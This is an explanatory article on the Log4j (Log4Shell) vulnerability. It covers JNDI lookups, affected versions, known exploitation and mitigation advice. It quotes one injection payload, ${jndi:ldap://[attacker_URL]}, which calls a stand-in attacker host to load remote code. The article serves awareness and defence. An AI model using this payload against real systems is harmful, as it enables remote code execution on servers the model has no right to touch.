Log4j Vulnerability simply explained

This article delves into the topic of the famous Log4j vulnerability by providing a high-level overview, as well as crucial details for both the average reader and a more educated audience.

Since the log4j vulnerability was made public a few days ago (on Dec 9th 2021), there’s being a lot of news surrounding what it is and not necessarily a lot of facts concerning the specifics and how companies and individuals are at risk.

Similar to the Equifax breach in May 2017, various NEWS sources covered the story of the vulnerability and not necessarily the technical details.

What do we know so far?

• This vulnerability allows unauthenticated remote code execution (this is simply the ability to run any command on a target system) when a specially crafted string provided by the attacker is processed by the Log4j 2 library
• It has a CVE ID of CVE-2021-44228 with a severity score of 10/10. A patch for this was released as Log4j 2.15.0
• Apparently the Log4j 2.15.0 patch also has a vulnerability which can be exploited in order to perform Denial-of-Service attacks
• This new vulnerability has a CVE ID of CVE-2021-45046 with a severity score of 3.7/10. A patch for this was immediately released as Log4j 2.16.0

What is Log4j?

The Apache Log4j is an open-source (developed by the Apache Software Foundation) Java-based logging library and is a part of the Apache Logging Services. More specifically it is mainly used for logging output (like error and debug messages) in many applications, which also makes it useful in troubleshooting.

What makes Log4j so important?

         Simply put it is reliable, fast and flexible. The current version (Log4j 2) is a replacement to its predecessor (Log4j 1) in that the current version not only addresses the issues that plagued the previous version, but also offers a plugin architecture which makes it more extensible. It is this wide applicability that makes it popular for use in many enterprise applications, cloud computing services and application services whether directly or indirectly.

What is this vulnerability? 

Sample code from Log4j [5]

Similar to other logging services, Log4j allows the logging of expressions by passing an error message into a string. Normally, this is standard and not necessarily a problem; However, Log4j also allows JNDI lookups from the logging message.

Java Naming and Directory Interface (JNDI) Is Java API which allows Java applications to look up data and resources such as LDAP servers. Now this is very common and is a way for distributed Java systems to communicate.

An example of a normal LDAP URL (an active directory link). [5]

Within Log4j, this LDAP URL can be passed into the JNDI and invoked to obtain a serialized Java object (e.g a profile object) as shown below: 

Sample code showing JNDI calling an LDAP URL within Log4j [5]

However, this JNDI is also vulnerable to injection in that it allows unauthenticated remote code execution. For example, an attacker can exploit this vulnerability by altering the HTTP request in the victim’s browser to include a malicious JNDI request such as: ${jndi:ldap://[attacker_URL]}.

The malicious string is then saved in the server logs where it is parsed by the Log4j library. It then forces a callback/request to the attacker's LDAP URL. As a result, the attacker can pass encoded commands or Java classes onto the target’s system.

See here for proof of concept

What and who is at risk?

• Any internet facing device running Apache Log4J (versions 2.0 to 2.14.1)
• Software/services that rely on Apache frameworks including: 

• Companies and vendors with popular products known to be vulnerable include: 

Examples of known exploitation of this flaw:

• Installing crypto miners on vulnerable systems
•  Credential theft and data exfiltration from compromised systems
• Mirai botnet used in Distributed Denial of Service attacks 

Recommendations for individuals and Enterprises

• Identify all internet facing applications running LOG4J and upgrade to the latest version
• Applying mitigations/patches provided by individual vendors. For example, AWS and IBM have provided more specific information for their individual products
• Companies like Microsoft have released guidelines for detecting and preventing vulnerabilities associated with CVE-2021-44228
• Fortunately, the Netherland's National Cyber Security Centrum (NCSC) has provided a comprehensive and sourced list of all known affected products and available solutions/fixes
• Ensuring the security operations centre (SOC) actions every alert with regards to Log4j; and installing a web application firewall (WAF) with rules to focus on Log4j.

References

[1]. D. Goodin , “Patch fixing critical Log4j 0-day has its own vulnerability that's under exploit,” Ars Technica, 15-Dec-2021. [Online]. Available: https://arstechnica.com/information-technology/2021/12/patch-fixing-critical-log4j-0-day-has-its-own-vulnerability-thats-under-exploit/. [Accessed: 11-Dec-2021].

[2]. L. Tung, “Log4j Zero-Day Flaw: What you need to know and how to protect yourself,” ZDNet, 14-Dec-2021. [Online]. Available: https://www.zdnet.com/article/log4j-zero-day-flaw-what-you-need-to-know-and-how-to-protect-yourself/. [Accessed: 11-Dec-2021].

[3]. R. Lakshmanan, “Second LOG4J vulnerability (CVE-2021-45046) discovered - new patch released,” The Hacker News, 14-Dec-2021. [Online]. Available: https://thehackernews.com/2021/12/second-log4j-vulnerability-cve-2021.html. [Accessed: 16-Dec-2021].

[4]. I. Ilascu, “LOG4J: List of vulnerable products and vendor advisories,” BleepingComputer, 14-Dec-2021. [Online]. Available: https://www.bleepingcomputer.com/news/security/log4j-list-of-vulnerable-products-and-vendor-advisories/. [Accessed: 16-Dec-2021].

[5]. Log4J Vulnerability (Log4Shell) Explained - for Java developers, 2021.